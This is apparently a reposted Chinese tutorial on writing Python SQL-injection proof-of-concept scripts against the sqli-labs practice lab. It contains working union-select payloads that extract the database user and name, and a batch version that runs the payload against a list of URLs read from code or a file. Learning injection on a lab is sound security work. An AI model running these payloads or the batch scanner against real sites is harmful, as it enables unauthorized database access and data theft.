Python从0到POC编写--SQL注入

SQL注入POC编写。

环境: win10 ,phpStudy ,python3.7 ,sqli-labs

虚拟域名: www.sql.com


简单的POC:

说起来也简单,

就是请求–>响应,

然后再判断返回信息是否存在注入。

本菜鸟也是在学习阶段,好好学习,天天向上。


POC就跟爬虫差不多

假设找到一个注入点,这是一个报错注入,

报错注入简单的讲就是通过错误提示返回信息,

而正确的信息则不会返回信息。

那么我们可以这样进行编写。

首先导入必要的模块,

然后设置漏洞url,然后再设置一个payload,这样方便随时更新

然后再设置一个 header ,模拟浏览器请求,

然后就可以使用 requests.get() 发起请求了

最后呢,使用正则表达抓取返回的内容就可以了

这样一个简单的POC就完成了。


import requests
import reurl = "http://www.sql.com/Less-1/?id=-1\'";payloads = " order by 3 --+"headers = {'Host': 'www.sql.com','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate'}r = requests.get(url+payloads,headers=headers)result = re.findall('<font.*?Your(.*?)</font>',r.text)print(result)

这个正则匹配就是抓取关键返回值,

因为 request 解析的是一个原始页面,也就是源代码,

所以要从源码里面找到返回值,

下图就是我们要抓取的返回值,

每次注入的返回值就是在这里显示的,所有每次都要从这个地方抓取,

images


现在我们来看看结果

首先爆显位,可以看到是 2 和 3

images


当然如果我们不相信代码,可以去网页看看

确实是 2 和 3

images


后面我们就可以把 payload 换成 ` union select 1,user(),database() –+ `

成功爆出数据库用户名和数据库名,

这样一个小POC就完成了,后面爆数据就不多说了。

images


再高级一点的POC:

针对简单的poc进行改进,

简单的poc有个毛病,如果某一环出现错误,那么整改程序就会奔溃掉,

就像这样,如果网站访问不了,就会出现错误。

images


对于这种情况,我们可以使用 try except 方法来捕获异常情况


import requests
import retry:url = "http://www.sql.com/Less-1/?id=-1\'";payloads = " union select 1,user(),database() --+"headers = {'Host': 'www.sql.com','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate'}r = requests.get(url+payloads,headers=headers,time=3)result = re.findall('<font.*?>(.*?)</font>',r.text)print(result)except:print('error')# exit()

这样就可以了,最后要是出现错误就输出一个 error 。


再再高级一点的POC:

这里讲函数封装和批量

如果想要从其他地方调用这个SQL注入函数,那么我们需要先把他封装起来,

使用 def 函数

def 函数是用来定义一个 function() 的。

例:


import requests
import redef sql():try:url = "http://www.sql.com/Less-1/?id=-1\'";payloads = " union select 1,user(),database() --+"headers = {'Host': 'www.sql.com','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate'}r = requests.get(url+payloads,headers=headers)result = re.findall('<font.*?>(.*?)</font>',r.text)print(result)except:print('网站无法访问')exit()if __name__ == '__main__':sql()

使用 def 定义一个 sql() 函数,把代码封装起来,

最后使用 __name__ == '__main__' 让这个函数自动调用,

当脚本运行的时候就会自动调用这个sql()函数

不要问为什么,这是固定搭配,这样写就完事了。


接下来就是批量了,

假设有一批网站需要检测有没有注入点,

那么我们可以设置一个字典,

这个字典可以是外部的,也可以是内部的,

然后从这个字典里面一条一条去读取出来,然后拿去检测,

然后代码是这样子的,稍微做了点小小的改动。


import requests
import reglobal numnum = 0def sql(url,num):try:# url = "http://www.sql.com/Less-1/?id=-1\'";payloads = "?id=-1' union select 1,user(),database() --+"headers = {'Host': 'www.sql.com','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate'}r = requests.get(url+payloads,headers=headers)result = re.findall('<font.*?>(.*?)</font>',r.text)print(('第{}次:').format(num)+result[1])except:print('error')# exit()# if __name__ == '__main__':
# 	sql(url)dic = ['http://www.sql.com/Less-1/','http://www.sql.com/Less-2/','http://www.sql.com/Less-3/','http://www.sql.com/Less-4/','http://www.sql.com/Less-5/','http://www.sql.com/Less-6/','http://www.sql.com/Less-7/','http://www.sql.com/Less-8/','http://www.sql.com/Less-9/'
]for url in dic:num += 1sql(url,num)

这里内置了一个字典,

把字典里面的值赋值给 url

然后传入一个 url 值给 sql() 函数

最后通过 for 循环去调用 sql() 函数 ,就不需要自动调用了。


当然也可以通过外部导入字典 ,

导入外部字典的好处就是减少代码量,

假设导入 D 盘 里面的 sql.txt 字典。


import requests
import reglobal numnum = 0def sql(url,num):try:# url = "http://www.sql.com/Less-1/?id=-1\'";payloads = "?id=-1' union select 1,user(),database() --+"headers = {'Host': 'www.sql.com','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate'}r = requests.get(url+payloads,headers=headers)result = re.findall('<font.*?>(.*?)</font>',r.text)print(('第{}次:').format(num)+result[1])except:print('error')# exit()# if __name__ == '__main__':
# 	sql(url)file = open('D:/sql.txt','r')for url in file.readlines():num += 1url=url.strip('\n')	 # 消除读取数据时出现的换行符sql(url,num)file.close()

两段代码其实都差不多,一个是外部字典,一个内部字典,

来看看效果

images

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/833800.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux虚拟机配置环境

1.配置虚拟机 在VMware中安装CentOS7&#xff08;超详细的图文教程&#xff09;_在vmware上安装centos-CSDN博客https://blog.csdn.net/qq_45743985/article/details/121152504 2.固定虚拟机ip地址 Vmware虚拟机Linux配置固定IP地址&#xff08;详细版&#xff09;_虚拟机固…

华为数据之道第四部分导读

目录 导读 第四部分 第10章 未来已来&#xff1a;数据成为企业核心竞争力 数据&#xff1a;新的生产要素 数据被列为生产要素&#xff1a;制度层面的肯定 数据将进入企业的资产负债表 数据资产的价值由市场决定 大规模数据交互的企业数据生态 数据生态离不开底层技术的…

OpenHarmony 4.0 实战开发——分布式软总线解析:设备发现与传输

OpenHarmony 的分布式软总线子系统为 OpenHarmony 系统提供的通信相关的能力&#xff0c;包括&#xff1a;WLAN 服务能力、蓝牙服务能力、软总线、进程间通信 RPC&#xff08;Remote Procedure Call&#xff09;等通信能力。 其中主要包括&#xff1a; WLAN 服务&#xff1a;…

使用unplugin-icons报错:Icon `eos-icons/ai` not found

代码&#xff1a; import IconNanobert from ~icons/eos-icons/ai 报错&#xff1a; Icon eos-icons/ai not found解决办法&#xff1a; npm i -D iconify-json/eos-icons &#xff08;把eos-icons替换成报错的那个collection-id即可&#xff0c;collection-id名称见图2&…

CTF-reverse,逆向分析,对“左移4或右移4,即(x<<4) | (x >>4)的加密探讨

博主在刷题过程中遇上这样一个有意思的加密&#xff08;如下图&#xff09;&#xff0c;苦苦思索其逆向运算&#xff0c;被硬控了很久&#xff0c;也没搜到什么资料来解释这个问题&#xff08;也许是太简单&#xff1f;&#xff1f;蒟蒻博主怀疑人生……&#xff09; 经过博主不…

[C++]哈希应用-布隆过滤器快速入门

布隆过滤器 布隆过滤器&#xff08;Bloom Filter&#xff09;是一个由布隆在1970年提出的概率型数据结构&#xff0c;它实际上是一个很长的二进制向量和一系列随机映射函数。布隆过滤器的主要特点是高效的插入和查询&#xff0c;可以用于检索一个元素是否在一个集合中。 原理…

Springboot整合飞书向群组/指定个人发送消息/飞书登录

Springboot整合飞书向群组发送消息 飞书开放平台创建企业自建应用 添加应用能力-机器人 创建完成后&#xff0c;进入应用详情页&#xff0c;可以在首页看到 App Id 和 App Secret 在飞书pc端创建一群机器人 此处可以拿到该机器人的webhook地址,通过https的方式,也可以调用发送…

JavaEE企业级开发中常用的JDK7和JDK8的时间类

JDK7时间类 全世界的时间有一个统一的计算标准 在同一条经线上的时间是一样的 格林威治时间 简称GMT 计算核心 地球自转一天是24小时 太阳直射正好是12小时 但是误差太大 现在用原子钟来代替 用铯原子震动的频率来计算时间&#xff0c;作为世界的标准时间UTC 中国标准时间…

Spring-依赖注入的处理过程

前置知识 1 入口 DefaultListableBeanFactory#resolveDependency 2 每个依赖都有对应的DependencyDescriptor 3 自定绑定候选对象处理器AutowireCapableBeanFactory 注入处理 我们可以看到AutowireCapableBeanFactory中有两个方法&#xff1a; 第一个是单个注入&#xff1a;…

2024蓝桥杯CTF writeUP--cc

给了个网页&#xff0c;里面有加密算法&#xff0c;密钥&#xff0c;密文 使用在线解码工具 CTF最全在线工具整理_在线ctf工具-CSDN博客 将输出的密文&#xff0c;密钥&#xff0c;vi&#xff0c;加密方式一一对应

谈谈IP地址

IP地址 IP地址概念动态分配 IP(DHCP)NAT机制(网络转换机制)IPv6 IP地址组成特殊的IP地址 IP地址 IP协议报文结构: 概念 IP地址: 描述了主机的具体位置.有32位,利用点分十进制的方式来表示.例如: 192.168.190.77 32位ip地址表示的数据非常有限,42亿九千万…, 那么ip地址不够用…

学QT的第三天~

ikun登录界面完善 #include "mywidget.h" void MyWidget::bth1() { if(edit3 ->text()"520cxk"&&edit4 ->text()"1314520") { //1.实例化一个QmessageBox类的对象 QMessageBox box(QMessageBox::Information, //图标 "恭喜…

数据结构与算法(5)队列的基本操作

#include<stdio.h> #include<stdlib.h> #include<stdbool.h> typedef int ElemType; #define MaxSize 10//队列的定义 typedef struct SqQueue {ElemType data[MaxSize];int front, rear;//front为头指针&#xff0c;rear为尾指针。这里并不是真正的“指针”…

嵌入式数据库SQLite 3配置使用详细笔记教程

0、惨痛教训 随着管理开发的项目体积越来越庞大&#xff0c;产品系统涉及的数据量也越来越多&#xff0c;并且伴随着项目不久就要交付给甲方了。如果项目的数据信息没有被妥善管理&#xff0c;后期设备的运行状态、操作状况等数据流信息不能被溯源&#xff0c;当出现了一些特殊…

python:画饼图

我现在因工作需要在写一篇中文文章&#xff0c;领导要我用python处理数据和画图&#xff0c;那我也刚好学习一下python画图。 import matplotlib.pyplot as plt # 饼图数据 labels [A, B, C, D] sizes [15, 30, 45, 10] # 每个部分的大小 # 绘制饼图 plt.figure(figsize(6,…

紧跟生成式AI暴雨发布新时代推理服务器

近日&#xff0c;暴雨发布最新训推一体AI服务器&#xff0c;以大容量内存和灵活的高速互连选项满足各种AI应用场景&#xff0c;最大可能支持扩展插槽&#xff0c;从而大幅提升智能算力性能&#xff0c;以最优的性能和成本为企业的模型训练推理落地应用提供更好的通用算力。 AIG…

软考系列必过资料分享-系统架构师-系统分析师-信息系统项目管理师

建议,写在前面 知识点是公用的,原则上不分新旧。每年会有少部分的题目切合当前时间段&#xff08;也是通过旧的知识演变的&#xff09; 信息系统项目管理师证书 系统架构师证书 系统分析师证书 资料分享 关注公众号 回复 信息系统项目管理师资料 即可获取信息系统项目管理师资…

【RAG 论文】Dense X 检索:将“命题”作为检索粒度

论文&#xff1a;Dense X Retrieval: What Retrieval Granularity Should We Use? ⭐⭐⭐⭐ Code: github.com/ct123098/factoid-wiki 文章目录 一、论文速读二、命题&#xff08;Proposition&#xff09;三、FactoidWiki四、实验及分析4.1 Passage Retrieval 任务4.2 Open-Do…

VSCode-vue3.0-安装与配置-export default简单例子

文章目录 1.下载VSCode2.修改语言为中文3.辅助插件列表4.vue3模板文件简单例子5.总结 1.下载VSCode 从官网下载VSCode&#xff0c;并按下一步安装成功。 2.修改语言为中文 点击确认修改&#xff0c;如下图所示&#xff1a; 或者打开命令面板&#xff1a;输入Configure Displ…

党建教育vr虚拟现实展厅真正实现了绿色、低碳的展示方式

在数字化浪潮席卷的今天&#xff0c;传统企业门户官网已难以满足企业日益增长的展示需求。面对这一挑战&#xff0c;北京华锐凭借深厚的行业经验和领先的技术实力&#xff0c;为您提供全新的元宇宙虚拟展厅制作服务&#xff0c;助您轻松打破现实与虚拟的界限&#xff0c;开启企…